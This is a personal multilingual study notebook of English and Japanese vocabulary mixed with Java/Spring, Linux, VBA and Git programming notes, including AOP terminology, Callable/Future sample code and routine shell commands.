18.decimal 英 [ˈdesɪməl] n. 小数 adj. 十进位的;小数的
19.Suppress [səˈprɛs] 制止;镇压;平定;// java @SuppressWarnings // 所标注内容如果产生警告,指示编译器去忽略注解中声明的警告。
20.surprise [səˈpraɪz] 惊奇,诧异
21.agenda 英 [əˈdʒendə] (会议的)议程表,议事日程;)
22.ずつ // 毎日2時間ずつ勉強する // 每天学习两个小时
23.頭痛 ずつう
24.クリップボード 粘贴板 (Ctrl +c)
25.propagation [ˌprɒpəˈɡeɪʃən] 传播;繁殖,增殖 // spring 事物传播设置
26.repeatable read [ri'pi: təbl] 可重复的 ( 实验、 实验结果等) 可复验的 // 事物隔离级别
27.Universal [ˌjuːnɪˈvɜːsəl] 全世界的 adj. 普遍的,共同的;广泛适用的 // UNC PATH
28.Convention [kənˈvɛnʃən] n. 大会;习俗,惯例;传统风格;协定 // UNC PATH
29.蓄積 ちくせき 知識蓄積
30.畜生 ちくしょう
31.Inversion [ɪnˈvɜːʃən] n. 倒转,否定,倒置 // Spring IoC
32.DI—Dependency Injection 依赖注入
33.@primary // spring);候选人初选会;预选;原色 // @Autowired, 默认是根据类型Type来自动注入的。 // 使用@bean + @primary可以消除歧义
34.Optional adj. 可选择的;选修的;随意的,任意的 // Java8 Sytream (findFirsit等方法的返回值类型,允许对象为空) 使用get方法获取对象
35.option n. 选择权;选项;选修课
36.diff a.txt b.txt //< a.txt中,差异的部分 --- > b.txt中,差异的部分
37.Thymeleaf [taim li:f] // spring boot 前台 // thyme 英[taɪm] 百里香(一种植物,叶小 // leaf 叶;
38.getInstance // 这是单例模式 // 有private的构造函数,使得不能用new来实例化对象,
39.ポジション position;地位,职位。
40.accuracy [ˈækjʊrəsɪ] n. 准确(性),准确无误
41.cp -ip // 询问是否覆盖文件时,必须输入 Y 才能覆盖。// 直接回车,无法覆盖文件。
42.innovation [ˌɪnəˈveɪʃən] n. 革新,改革;新方法;新制度
43.society [səˈsaɪətɪ] n. 社会;社团;社交界;交往;
44.situation [ˌsɪtjʊˈeɪʃən] 情况;状况;局面;
45.benefits [benifits] 优势,益处,成效
46.industry [ˈɪndəstrɪ] 企业,行业;
47.poverty [ˈpɒvətɪ] n. 贫穷;贫乏;低劣
48.collaborate [kəˈlæbəˌreɪt] 合作;勾结
49.Microsoft Edge(エッジ)
50.坑 Eclipse 格式化 XML文件时,
51.知识点:xml可以复制到Excel中。按所有的项目,列出每一列。
52.Generic 泛型
53.inflating // unzip 膨胀
54.NoMergeBaseException // Eclipse Git
56.vi、vim (which) // vim可以当作vi的升级版本,他可以用多种颜色的方式来显示一些特殊的信息。
57.閲覧(えつらん) // outlook (表示 ⇒ レイアウト⇒ 閲覧レイアウト ⇒ 右(R))
58.割当 分摊。分配。分担(量)。分派。
59.差し戻し 退回。上交的文书、案件等被退回
60.国慶節(こっけいせつ)
61.formula 英[ˈfɔːmjələ] 公式; 方程式; 计算式; 分子式; 方案; 方法;
62.
63.
01.alignment 英 [əˈlaɪnmənt] n. 列队;成直线;结盟;校准;调整 // 对齐
02.sensitive [ˈsɛnsɪtɪv] // case sensitive 大小写敏感
03.rpm // Linux インストールファイル
04.robocopy 2 1 /purge // doc // 文件路径太长无法删除 // robocopy C:\temp C:\target\source\test /purge // a.清空 test 文件夹中的内容 // b.C:\temp 中的内容复制到 C:\target\source\test 中
05.purge 英 [pɜːdʒ] 清除,清洗 // robocopy 2 1 /purge
06.authorized [ˈɔːθəˌraɪzd] 权威认可的,经授权的 // 401 Unauthorized
07.export [ˈɛkspɔːt] 输出,出口;
08.Apache {Referer} //Log 每个页面的请求 // HTTP 请求来自哪里 // refere (//http请求中的信息(Request Headers) // Apache log %r)
09.RestTemplate // SpringFramework HttpRequest
10.とっぱん 凸版
11.バッククォート 返单引号
12.spring.profiles.active // Spring Boot 使用 spring.profiles.active 来区分不同环境配置 // java -jar app.jar --spring.profiles.active=prod --server.port=8060 // 定义在YMLファイル里面,还需要创建其他的文(application-{profile}.properties)件才有意义。
13.Unicode \uAAAA 两个字节 // java char
14.SSD 固态硬盘(Solid State Disk或Solid State Drive)
15.遅くとも 最晚,// 至迟 遅くとも明日中には返事をする
16.INTVL // interval [ˈɪntəvəl] // 间隔;间距;幕间休息;区间
17.Defender [dɪˈfendər] // 防守者; 后卫; 防守队员; 守卫者; 保护人; 防御者; // 杀毒软件
18.修改【图表】的【数据源】的据范围 // ActiveChart.SetSourceData Source:=Range:=Range("B2:F2222")
19.準ずる じゅんずる // 准,以……为标准,按照,依照。遵从某根据
20.キューイング // 插入字幕(电视节目中);嵌入;尾接 // A-AUTO 夜間バッチ、まだ実施されない、「監視一覧チャート」で表示されない(今はまだキューイングされてないです)。
21. invalid 英 [ɪnˈvælɪd] adj. 无效的;无根据的;有病的 //IOException: (line 1) invalid char between encapsulated token and delimiter // 「...,"aaa","bbb","cc\"cc","ddd"...」
22.大规模MIMO (massive MIMO) // 5G
23.Retention 英 [rɪˈtɛnʃən] n. 保留;滞留;记忆力; // Retention 英 [rɪˈtɛnʃən] n. 保留;滞留;记忆力;
24.mybatis
@Mapper // 在持久层的接口上添加@Mapper注解,编译后会生成相应的接口实现类
@MapperScan。 // 为了简化配置,所以产生了@MapperScan。
25.springboot
@ComponentScan // 会自动扫描包路径下的@Controller、@Service、@Repository、@Component类,
@Configuration // 从Spring3.0,@Configuration用于定义配置类 // 默认会扫描, 同包以及子包下的注解
26.线程
join() 这个方法比较好理解,当前线程等待指定线程终止后在执行,将两个交替执行的线程合并为顺序执行的线程
sleep() Thread静态方法,强制当前线程休眠.当休眠时间到期后恢复到可运行状态.不一定会立即执行,具体取决于线程调度器
wait() 一般都是配合notify()和notifyAll()一起使用,并且他们都是java.lang.Object的方法. // 失去对象的锁,其他线程可以访问
27.サイジング 【英】siaing ;涂胶,施胶,纸张上胶。
28.サイジング sizing 規模
29.vi编写代码时,文件末尾会多一个换行符
30.where is cp // linux
31.xxx.log`date +%Y%m%d` // date 后面有空格 // linux
32.LANG=C tar -zxvf xxx.gz // Linux 英语显示
33.メンション 成员 // Teams で @メンションを使って注意を引く
34.Hulft
pa -aux | grep hul // Hulft
pa -aux | grep hul
集信 しゅうしん // HULFT ←
配信 はいしん // HULFT →
35.気遣い きづかい // 1.担心,挂虑;不放心。
36.黄緑(きみどり) // #ECF4D9 C10Y20: #B6D56A C35Y70
37.シンクラ //シンクライアント // 【英】Thin Client ;指的是在客户端-服务器网络体系中的一个基本无需应用程序的计算机终端。
38.monitor定义 // java // 锁 // Monitor是一种用来实现同步的工具
39.容量確認 du -h フォルダー
40.おわり・おしまい ⇒ 終わり・お終い // おわり・おしまい ⇒ 終わり・お終い
41.MsgBox Environ("username") // MsgBox Environ("username")
42.サスペンド suspend;暂停、挂起
43.Git ,GitHub
rejected 英 [rɪˈdʒɛkt; ˈriːdʒɛkt] // adj. 被拒的;不合格的 // git merge
conflict 英[kənˈflɪkt] // 冲突; 争执; 争论; // git merge 競合
squash 英 [skwɒʃ] 美 [skwɔʃ] スカッシュ // git merge 选项 (多个版本一次提交) // v. 把…压扁;受挤压;挤入;镇压;使沉默 // n. 壁球;果汁饮料;南瓜属植物;拥挤
issue [ˈɪʃu:] //GitHub 事务卡片(Issues) // n. 流出;问题;期,号;发行物 v. 流出;放出,排出;造成…结果;发放;发行;发布
insight Insights [ˈɪnˌsaɪt] //GitHub n. 洞察力;洞悉 // github // Insights ⇒ Network 查看整体Merge情况
44.仓库(repository) [rɪˈpɒzɪtərɪ] n. 贮藏室;图书馆,博物馆;博学者;智囊团
45.mount 英 [maʊnt] n. 坐骑;底座;山 v. 爬上;骑上;安装;镶嵌;准备上演,举办;组织,发起;增加;加剧;上升 // showmount -e localhost // NFS
46.
47.
48.
49.
50.
01.MM/DD XXX会議押さえました。 // 上下文:有内容想确认,什么时候确认,讨论之后,在 [MM/DD XXX会議]的时候确认。
02.Comparator.comparing().thenComparing() // Comparator.comparing().thenComparing()
03.信じ切れていない // (不能)全部......”、“(不能)彻底......”。
04.シナリオ単位:划分方式 // 测试
05.一応 // 大致,大体;首先;暂且。
06.rm -v XXX // 显示删除文件详细信息
07.ls -l -d /AAA/BBB/ccc 显示文件夹全路径
08.fall back后退、撤退
09.roll back向后滚动 // (价格或工资等的)下跌,回落; (情形、法律等的)回复,恢复; // 数据库回滚
10.tcpdump dst 3.4.5.6 // linux //查找从目标发出的流量(忽略会话的另一方) // dst
11.Destination [ˌdestɪˈneɪʃn] // 目的地; 终点; // DST = 目标主机 Destination Host
12.伝播 でんぱ // 伝播 でんぱ // トランザクション の propagation(传播) // @Transactional(propagation = Propagation.REQUIRED)
13.排他 はいた // DeadLock発生の原因の一つ
14.Naming References // JNDI RMI // Naming References // 可以通过远程下载一个class文件,然后下载后加载起来构建对象。
15.RMI(Remote Method Invocation)为远程方法调用
16.registry // 在一个JVM中启动rmiregistry服务 // 英 [ˈrɛdʒɪstrɪ] n. 登记处,注册处;登记,注册
17.rather than // No Compiler is provided in this environment. Perhaps you are runing on a JRE rather than a JDK // 在运行maven打包时:运行环境默认配置jre而不是JDK
18.taskkill /f /im Box.exe // taskkill /f /im Box.exe
19.フォトは、「フォトショップ」の省略表現。 // windows フォトビューアー // windows Photoshop view // windows 照片查看器
20.features [ˈfiːtʃəz] 相貌;容貌 ;特色; 特征; 特点; // JNDI features used // JNDI漏洞
21.against attacker 对付攻击者
22.against 英[əˈɡenst] 介词,意为“反对,违反;对……不利;紧靠,倚,碰撞;针对;预防,抵御;
23.attacker 英[əˈtækə(r)] 攻击者
24.hacker 英 [ˈhækə] n. (最初曾指热心于计算机技术、水平高超的电脑高手,尤其是程序设计人员)
25.Relational // ORM 框架简介 (Object Relational Mapping)
26.持久性(persistence) // JPA Java Persistence API
27.guaranteed [ˌɡærənˈtiːd] 保证; 担保; 保障; // glassfish 事物 // is-isolation-level-guaranteed
28.Excel 排序有问题,因为没有选择扩展选定区域。
29.しんどい // 日本关西方言,费劲,吃力。累。疲劳。
30.ハイブリッド 【英】hybrid ;混合物。
31. Tortoise n. /ˈtɔːtəs/ 陆龟,龟 // git (Merge)
32.即時 そくじ
33.即答 そくとう
34.パイプ 管道
35.grep '\"2021\-12' ./*.csv | tail -3 | xargs iconv -f sjis -t utf8
36.iconv // Linux // grep '\"2021\-12' ./*.csv | tail -3 | xargs iconv -f sjis -t utf8
37.ABEND Abnormal End 异常终止;异常结束
38.Abnormal [æbˈnɔːməl] 不正常的;变态的;畸形的;异乎寻常的 //
39.Artifactory 制品仓库 // Jforg
40.existent 英 [ɪɡˈzɪstənt] adj. 存在的,现存的,目前的 n. 存在物,生存者
41.systemctl status firewalld // Linux
42.since // java since 1.7
43.POSIX // Linux之正则表达式 // grep -v
44.invert英 [ɪnˈvɜːt; ˈɪnvɜːt] n. 颠倒的事物 v. 使…转化;使…颠倒 // ps -aux | grep xxx |grep -v grep
45.カット 【英】 cut ;切,去掉;削球;剪发,理发;
46.リトライ 【英】retry ;重试,再干;再审。 [riːˈtraɪ] 再试,复执
47.restriction 英[rɪˈstrɪkʃn] n.限制规定; 限制法规; 限制;
48.advice 英[ədˈvaɪs] 劝告; 忠告; 建议; 意见; // AOP 中的术语 (通知/增强)
49.signature [ˈsɪɡnɪtʃə] n. 签字,签署;识别标志,特征 // java 方法签名(method signature)
50.inherited 英[ɪnˈherɪtɪd] v.继承 // java元注解 @inherited // java 继承 父类方法 Methods inherited from
51.introduction 英 [ˌɪntrəˈdʌkʃən] n. 介绍;引进;采用;序言;入门;序曲 // Spring AOP
52.introduction(引介):引介是一种特殊的通知在不修改类代码的前提下,Introduction可以在运行期间为类动态地添加一些方法或Field
53.Oriented 导向的;以…为方向的 英 [ˈɔːrɪentɪd] // AOP Aspect Oriented Programming 面向切面编程
切面(Aspect):一个模块化的横切逻辑(或称横切关注点),可能会横切多个对象。
连接点(Join Point):程序执行中的某个具体的执行点。入原对象的fun()方法就是一个连接点。
增强处理(Advice):切面在某个特定连接点上执行的代码逻辑。
切入点(Ponitcut):对连接点的特征进行描述,可以使用正则表达式。增强处理和一个切入点
表达式相关联,并在与这个切入点匹配的某个连接点上运行。
目标对象(Target object):被一个或多个切面增强的对象。
AOP代理(AOP proxy):由AOP框架所创建的对象,实现执行增强处理方法等功能。
织入(Weaving):将增强处理连接到应用程序中的类型或对象上的过程。
54. OOP Object Oriented Programming 面向对象编程
55. POP Process Oriented Programmin 面向过程编程
56.げた 木履,木屐,呱嗒板儿,趿拉板儿。 // 記号 〓 (印刷時の伏せ字) (ふせじ) // カット 【英】 cut ;切,去掉; // 帳票
57.空白 くうはく // 印刷物で、明記を避けるため、その部分を空白にしたり記号を入れたりすること。
58.
59.
60.
01.SpringBoot使用@Value注入配置的值为null 的原因
不能作用于静态变量(static);
不能作用于常量(final);
不能在非注册的类中使用(类需要被注册在spring上下文中,如用@Service,@RestController,@Component等);
使用这个类时,只能通过依赖注入的方式,用new的方式是不会自动注入这些配置的。
02.@Value默认值
在Spring Boot中,如果使用@Value注解对属性进行赋值,但如果在配置文件或启动参数中未指定对应的参数值,则会抛出异常。
通过“:”指定如果获取不到该参数值时所使用的默认值,则启动时不会出现异常信息。
@RestController
public class ConfigController {
// ①未指定默认值
@Value("${user.name}")
private String userName;
// ②指定默认值为“unknown”
@Value("${project.name:unknown}")
private String projectName;
}
03.Spring表达
#{expression?:default value}
04.标注中的属性
package com.sxz.test.one.service;
import java.util.List;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import org.springframework.transaction.annotation.Transactional;
import com.sxz.test.one.entity.User;
import com.sxz.test.one.repository.UserRepository;
@Service
@Transactional(isolation=Isolation.XXX, propagation=Propagation.XXX)
public class UserService {
@Autowired
private UserRepository userRepository;
public List findAll() {
return userRepository.findAll();
}
}
05.resume [rɪˈzjuːm] n. 摘要;简历 v. 重新开始,恢复;取回,重新占用 // VBA 忽略错误
VBA中 各种数据类型的使用(自定义数据类型Type,数组,数据字典)、读写文件_sun0322-CSDN博客_vba中type类型
06.宗旨 しゅうし
07.httpd -V // 查看apache的设置
08.关于linux的【/var/www/html】 //apache 可以使用
如果要访问 /var/www/html/myfolder/test.html
我在浏览器地址栏输入 http://[ip]/myfolder/test.html就行了
前提:安装httpd (apache)
※ 直接URL访问server时,实际访问的是以下的html
/var/www/html/index.html
09.〇 漢数字 ○ 記号 // 全部「まる」ですが、異なるの二つ記号です。
10.technology 英 [tɛkˈnɒlədʒɪ] n. 技术,科技;技术应用
===
unrestricted 英 [ˌʌnrɪˈstrɪktɪd] adj. 无限制的
Confidential [ˌkɒnfɪˈdɛnʃəl] adj. 秘密的;表示信任的;获信任的
Highly Confidential [ˌkɒnfɪˈdɛnʃəl]
Restricted 英 [rɪˈstrɪktɪd] adj. 受限制的;被限定的
===
11.Office 敏感度标签
了解敏感度标签 - Microsoft 365 Compliance | Microsoft Docs
---
对电子邮件中的文件和电子邮件应用敏感度Office
---
若要使用 Windows 和 Mac 版 Office 桌面应用中内置的敏感度标签,必须使用 Office 订阅版本。 此标签客户端不支持 Office 独立版本,例如 Office 2016 或 Office 2019。
若要在 Windows 计算机上使用这些独立版本的 Office,请安装 Azure 信息保护统一标签客户端。
---
12.四种遍历Map方式:
Java中Map的 entrySet() 详解以及用法(四种遍历map的方式)_nO0b-CSDN博客_entryset
---
13.Map.Entry
Map中采用Entry内部类来表示一个映射项,映射项包含Key和Value (我们总说键值对键值对, 每一个键值对也就是一个Entry)
public static void main(String[] args) {
Map map = new HashMap();
map.put("1", "value1");
map.put("2", "value2");
map.put("3", "value3");
//第三种:推荐,尤其是容量大时
for (Map.Entry entry : map.entrySet()) {
System.out.println("key= " + entry.getKey() + " and value= " + entry.getValue());
}
}
Map的四种遍历方式_sun0322-CSDN博客
14.VBA定义变量、并赋值
×
Dim sss As String
set sss=""
○
Dim sss As String
sss=""
15.VBA中没有continue方法,可以使用goto方法,实现continue的功能
for 。。。
。。。
if XXX
goto continue
end if
。。。
continue:
Next i
16. Decorator 英 [ˈdɛkəˌreɪtə] 装饰者 // 设计模式 //装饰者(Decorator)和被装饰者(Decoratee)
JAVA设计模式总结之23种设计模式 - pony1223 - 博客园 (cnblogs.com)
---
单例模式:某个类只能有一个实例,提供一个全局的访问点。
简单工厂:一个工厂类根据传入的参量决定创建出那一种产品类的实例。
工厂方法:定义一个创建对象的接口,让子类决定实例化那个类。
抽象工厂:创建相关或依赖对象的家族,而无需明确指定具体类。
建造者模式:封装一个复杂对象的构建过程,并可以按步骤构造。
原型模式:通过复制现有的实例来创建新的实例。
适配器模式:将一个类的方法接口转换成客户希望的另外一个接口。
组合模式:将对象组合成树形结构以表示“”部分-整体“”的层次结构。
装饰模式:动态的给对象添加新的功能。
代理模式:为其他对象提供一个代理以便控制这个对象的访问。 // AOP
亨元(蝇量)模式:通过共享技术来有效的支持大量细粒度的对象。
外观模式:对外提供一个统一的方法,来访问子系统中的一群接口。
桥接模式:将抽象部分和它的实现部分分离,使它们都可以独立的变化。
模板模式:定义一个算法结构,而将一些步骤延迟到子类实现。
解释器模式:给定一个语言,定义它的文法的一种表示,并定义一个解释器。
策略模式:定义一系列算法,把他们封装起来,并且使它们可以相互替换。
状态模式:允许一个对象在其对象内部状态改变时改变它的行为。
观察者模式:对象间的一对多的依赖关系。
备忘录模式:在不破坏封装的前提下,保持对象的内部状态。
中介者模式:用一个中介对象来封装一系列的对象交互。
命令模式:将命令请求封装为一个对象,使得可以用不同的请求来进行参数化。
访问者模式:在不改变数据结构的前提下,增加作用于一组对象元素的新功能。
责任链模式:将请求的发送者和接收者解耦,使的多个对象都有处理这个请求的机会。
迭代器模式:一种遍历访问聚合对象中各个元素的方法,不暴露该对象的内部结构。
装饰器模式和代理模式的区别 - yanggb - 博客园 (cnblogs.com)
■相同点
对装饰器模式来说,装饰者(Decorator)和被装饰者(Decoratee)都实现一个接口。对代理模式来说,代理类(Proxy Class)和真实处理的类(Real Class)都实现同一个接口。此外,不论我们使用哪一个模式,都可以很容易地在真实对象的方法前面或者后面加上自定义的方法。
■不同点
在上面的例子中,
【装饰器模式】是使用的调用者从外部传入的被装饰对象(coffee),调用者只想要你把他给你的对象装饰(加强)一下。
而【代理模式】使用的是代理对象在自己的构造方法里面new的一个被代理的对象,不是调用者传入的。调用者不知道你找了其他人,他也不关心这些事,只要你把事情做对了即可。
---
---
---
19.concurrent 英[kənˈkʌrənt] adj.同时发生的; 并存的; // java.util.concurrent.Callable
20.Callable和Future,一个产生结果,一个拿到结果。
java&android线程池-Executor框架之ThreadPoolExcutor&ScheduledThreadPoolExecutor浅析(多线程编程之三)_zejian的博客-CSDN博客_scheduledthreadpoolexecutor
22.一个类不能继承多个类,但是一个接口可能继承多个接口。
无论是Runnable接口的实现类还是Callable接口的实现类,都可以被ThreadPoolExecutor或ScheduledThreadPoolExecutor执行,
ThreadPoolExecutor或ScheduledThreadPoolExecutor都实现了 ExcutorService接口,
而因此 Callable需要和Executor框架中的ExcutorService结合使用
24.Callable (返回值:1~5000:12497500)
Java多线程编程:Callable、Future和FutureTask浅析(多线程编程之四)_zejian的博客-CSDN博客_callable future futuretask--
---
import java.util.concurrent.Callable;
public class CallableDemo implements Callable {
private int sum;
@Override
public Integer call() throws Exception {
System.out.println("Callable子线程开始计算啦!");
Thread.sleep(2000);
for(int i=0 ;i<5000;i++){
sum=sum+i;
}
System.out.println("Callable子线程计算结束!");
return sum;
}
}
---
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.Future;
public class CallableTest {
public static void main(String[] args) {
//创建线程池
ExecutorService es = Executors.newSingleThreadExecutor();
//创建Callable对象任务
CallableDemo calTask=new CallableDemo();
//提交任务并获取执行结果
Future future =es.submit(calTask);
//关闭线程池
es.shutdown();
try {
Thread.sleep(2000);
System.out.println("主线程在执行其他任务");
if(future.get()!=null){
//输出获取到的结果
System.out.println("future.get()-->"+future.get());
}else{
//输出获取到的结果
System.out.println("future.get()未获取到结果");
}
} catch (Exception e) {
e.printStackTrace();
}
System.out.println("主线程在执行完成");
}
}
---
Callable子线程开始计算啦!
主线程在执行其他任务
Callable子线程计算结束!
future.get()-->12497500
主线程在执行完成
---
25.FutureTask (FutureTask实现了RunnableFuture接口,而RunnableFuture继承了Runnable和Future)
//重写了 run()方法。
FutureTask介绍及使用_闵浮龙的博客-CSDN博客_futuretask
26.创建FutureTask
CallableDemo calTask=new CallableDemo();
//创建FutureTask
FutureTask futureTask=new FutureTask<>(calTask); // 构造函数之一,参数是 Callable
27.dim vvv As Variant //① VBA 中的变量 // ②vvv=Range("A1:C3") // ③ss=vvv(1,2) // ②中,可以使用F3中定义的变量
28.DoEvents //VBA // 可以实现sleep功能 // 可以配合sleep使用 (DoEvents \n Sleep 3000) // 效果:让出使用权,使程序在等待是,不是无响应的状态。
29.sentkeys "%s", true '按下 alt + s 'SendKeys string[, wait]
// 如果为False(缺省值),则控件在按键发送出去之后立刻返回到过程。
//如果为True,则按键消息必须在控件返回到过程之前加以处理。
30.誤り あやまり
31.priority 英 [praɪˈɒrɪtɪ] n. 在先,居前;优先,重点;优先事项
32.performance 英 [pəˈfɔːməns] n. 演出,表演;履行;执行;工作;成绩;成果
33.individual [ˌɪndɪˈvɪdjʊəl] 个人,个体 个别的;个人的;独特的 // XML
34.activity 英 [ækˈtɪvɪtɪ] n. 活动;活动力;行动;活跃
35.設定(1/31(月))
myworkday ⇒ performance ⇒ individual priorities ⇒ Edit
●现象
(在一些外部依赖包中常常会看到在META-INF下,包含一个文件——spring.factories)
(比如:spring-boot-autoconfigure-xxxx.RELEASE.jar)
(@EnableAutoConfiguration 会加载 spring.factories 中标记的类)
●原因
在开启@EnableAutoConfiguration标记后,会自动导入AutoConfigurationImportSelector组件,
(@EnableAutoConfiguration中,@Import(AutoConfigurationImportSelector.class))
该组件内部调用SpringFactoriesLoader
加载autoconfigure.jar包中的spring.factories文件,
根据文件定义列表载入各个配置类
SpringBoot 自动配置之@EnableAutoConfiguration详解_强者才配秃头的博客-CSDN博客_enableautoconfiguration
@Target(ElementType.TYPE)
@Retention(RetentionPolicy.RUNTIME)
@Documented
public @interface Import {
//这里说了可以配合 Configuration , ImportSelector, ImportBeanDefinitionRegistrar 来使用噢 或者常用的(regular component classes )也就是Bean
/**
* {@link Configuration}, {@link ImportSelector}, {@link ImportBeanDefinitionRegistrar}
* or regular component classes to import.
*/
Class>[] value();
}
---
@Target(ElementType.TYPE)
@Retention(RetentionPolicy.RUNTIME)
@Documented
@Inherited
@AutoConfigurationPackage
@Import(AutoConfigurationImportSelector.class)
public @interface EnableAutoConfiguration {
---
@Target(ElementType.TYPE)
@Retention(RetentionPolicy.RUNTIME)
@Documented
@Import(AspectJAutoProxyRegistrar.class)
public @interface EnableAspectJAutoProxy {
---
37.FactoryBean、BeanFactory
・FactoryBean:就是笔者上文阐述的,以Bean结尾,表示它是个Bean,它并不是简单的Bean,而是一个能生产对象或者修饰对象的工厂Bean
・BeanFactory:它是Spring IoC容器的一种形式,提供完整的IoC服务支持,也可以看出主语是Factory,即是一个管理Bean的工厂。 //【BeanFactory 是顶层容器(根容器),是ApplicationContext 顶级接口】
38.@Scope("prototype") // 如果不写,默认是单例
@Scope("prototype")的正确用法——解决Bean的多例问题 - 简书
在使用了Spring的web工程中,除非特殊情况,我们都会选择使用Spring的IOC功能来管理Bean,而不是用到时去new一个。Spring管理的Bean默认是单例的(即Spring创建好Bean,需要时就拿来用,而不是每次用到时都去new,又快性能又好),但有时候单例并不满足要求(比如Bean中不全是方法,有成员,使用单例会有线程安全问题,可以搜索线程安全与线程不安全的相关文章),你上网可以很容易找到解决办法,即使用@Scope("prototype")注解,可以通知Spring把被注解的Bean变成多例
40.成员方法是每个线程私有的
(每个线程都有自己独享的空间,也就是栈内存。线程在调用方法的时候,会创建一个栈帧。也就是说调用一个方法的时候,也就是一个栈帧的入栈过程,该方法执行完毕,栈帧也就出栈了。 换句话讲,成员方法对于每个线程事实上是私有的,而不是你表面看上去的那样是 "共享" 的。)
41.成员变量的对象分配是在堆内存中的,所以是为所有线程所共享的,所以可能会被多个线程同时访问,从而造成线程不安全
Java中的GC(垃圾回收)log_sun0322-CSDN博客
IoC的思想基于工厂模式
AOP的思想则是基于代理模式。
AOP 实现的关键就在于 AOP 框架自动创建的 AOP 代理,AOP 代理则可分为静态代理和动态代理两大类,其中静态代理是指使用 AOP 框架提供的命令进行编译,从而在编译阶段就可生成 AOP 代理类,因此也称为编译时增强;而动态代理则在运行时借助于 JDK 动态代理、CGLIB 等在内存中“临时”生成 AOP 动态代理类,因此也被称为运行时增强。
43.静态代理:
编译时增强,AOP 框架会在编译阶段生成 AOP 代理类,在程序运行前代理类的.class文件就已经存在了。
常见的实现:JDK静态代理,AspectJ 。
44.动态代理
运行时增强(运行时织入),它不修改代理类的字节码,而是在程序运行时,运用反射机制,
在【内存中】临时为方法生成一个AOP对象,这个AOP对象包含了目标对象的全部方法,
并且在特定的切点做了增强处理,并回调原对象的方法。
常见的实现:JDK、CGLIB、Javassist(Hibernate中使用的动态代理)
45.【静态代理】有:编译时织入(特殊编译器实现)、类加载时织入(特殊的类加载器实现)。
46.【动态代理】有:jdk动态代理(基于接口来实现)、CGlib(基于类实现)。
47.JDK动态代理特点:
代理对象必须实现一个或多个【接口】
以接口形式接收代理实例,而不是代理类
48.CGLIB动态代理特点:
代理对象不能被final修饰
以类或接口形式接收代理实例
49.AspectJ三种织入方式
50.织入方式
一 概念理解
■ 1 AOP的术语重在理解。 =======
Join Point:(连接点) Spring AOP中,join point就是一个方法。(通俗来讲就是起作用的那个方法,具体执行的方法)
Pointcut:(切入点) 用来指定join point(通俗来讲就是描述的一组符合某个条件的join point)。通常使用pointcut表达式来限定joint point,Spring默认使用AspectJ pointcut expression language。
Advice: 在join point上特定的时刻执行的操作,Advice有几种不同类型,下文将会讨论(通俗地来讲就是起作用的内容和时间点)。
Introduction:给对象增加方法或者属性。
Target object: Advice起作用的那个对象。
AOP proxy: 为实现AOP所生成的代理。在Spring中有两种方式生成代理:JDK代理和CGLIB代理。
Aspect: 组合了Pointcut与Advice,在Spring中有时候也称为Advisor。某些资料说Advisor是一种特殊的Aspect,其区别是Advisor只能包含一对pointcut和advice,但是aspect可以包含多对。AOP中的aspect可以类比于OOP中的class。
Weaving:将Advice织入join point的这个过程。
■ 2 Advice的类型 =======
Before advice: 执行在join point之前的advice,但是它不能阻止joint point的执行流程,除非抛出了一个异常(exception)。
After returning advice: 执行在join point这个方法返回之后的advice。
After throwing advice: 执行在join point抛出异常之后的advice。
After(finally) advice: 执行在join point返回之后或者抛出异常之后的advice,通常用来释放所使用的资源。
Around advice: 执行在join point这个方法执行之前与之后的advice。
■ 3 两种代理 =======
Spring AOP是基于代理机制的。上文说到,Spring AOP通过JDK Proxy和CGLIB Proxy两种方法实现代理。
如果target object没有实现任何接口,那么Spring将使用CGLIB来实现代理。CGLIB是一个开源项目,它是一个强大的,高性能,高质量的Code生成类库,它可以在运行期扩展Java类与实现Java接口。
如果target object实现了一个以上的接口,那么Spring将使用JDK Proxy来实现代理,因为Spring默认使用的就是JDK Proxy,并且JDK Proxy是基于接口的。这也是Spring提倡的面向接口编程。当然,你也可以强制使用CGLIB来进行代理,但是这样可能会造成性能上的下降。
52.・切点Pointcut 定义
切点Pointcut,切点代表了一个关于目标函数的过滤规则,后续的通知是基于切点来跟目标函数关联起来的。
然后要围绕该切点定义一系列的通知Advice,如@Before、@After、@AfterReturning、@AfterThrowing、@Around等等定义的方法都是通知。其含义是在切点定义的函数执行之前、完成之后、正常返回之后、抛出异常之后以及环绕前后执行对应的切面逻辑。
一个切点和针对该切点的一个通知共同构成了一个切面Advisor。对于一个方法,我们可以定义多个切点都隐含它,并且对于每个切点都可定义多个通知来形成多个切面,SpringAOP底层框架会保证在该方法调用时候将所有符合条件的切面都切入到其执行之前或之后或环绕。通知Advice的子类Interceptor或MethodInterceptor的类名更具体一些,包含了拦截器的概念。
011-Spring aop 002-核心说明-切点PointCut、通知Advice、切面Advisor - bjlhx15 - 博客园
53.切点Pointcut更多
@Pointcut 的 12 种用法,你知道几种? - 知乎
[Done]Spring @Pointcut 切点调用不到(SpringAOP嵌套方法不起作用) 注意事项 - 大辉_FFf - 博客园
54.springAOP编程-aspectJ开启注解自动代理
springAOP编程-aspectJ开启注解自动代理_学亮编程手记-CSDN博客
55.amount n. 数量;总额
56.percent [pə'sent] n. 百分比,百分率;部分
57.financial 英 [fɪˈnænʃəl] adj. 财政的,金融的
58.新春 しんしゅん
59.初めて~した 始め~と考えた
初めて~した 第一次做某事
始め~と考えた 最开始XXX考虑
×:初めて、私もXXX不要したいですが、。。
○:始め私も不要と考えましたが、。。
最开始,我也不想要XXX,但是,
60.transien 英[ˈtrænziənt] adj. 转瞬即逝的; 短暂的; 倏忽; 暂住的; 过往的; 临时的;
・transient // java // StringBuffer // private transient String toStringCache;
・transient // java // 将不需要序列化的属性前添加关键字transient,序列化对象的时候,这个属性就不会被序列化。
61.・Referrer Policy: no-referrer-when-downgrade
62.・specified 英 [ˈspesɪˌfaɪd] adj. 指定的 // @Bean if unspecified, the name of bean is the mame of the annotated method.
annotated /ˈænəˌteɪtɪd/ adj 已加注解的;已加评注的
public @interface Bean {
/**
* Alias for {@link #name}.
* Intended to be used when no other attributes are needed, for example:
* {@code @Bean("customBeanName")}.
* @since 4.3.3
* @see #name
*/
@AliasFor("name")
String[] value() default {};
/**
* The name of this bean, or if several names, a primary bean name plus aliases.
*
If left unspecified, the name of the bean is the name of the annotated method.
* If specified, the method name is ignored.
*
The bean name and aliases may also be configured via the {@link #value}
* attribute if no other attributes are declared.
* @see #value
*/
@AliasFor("value")
String[] name() default {};
63.・@validated @valid
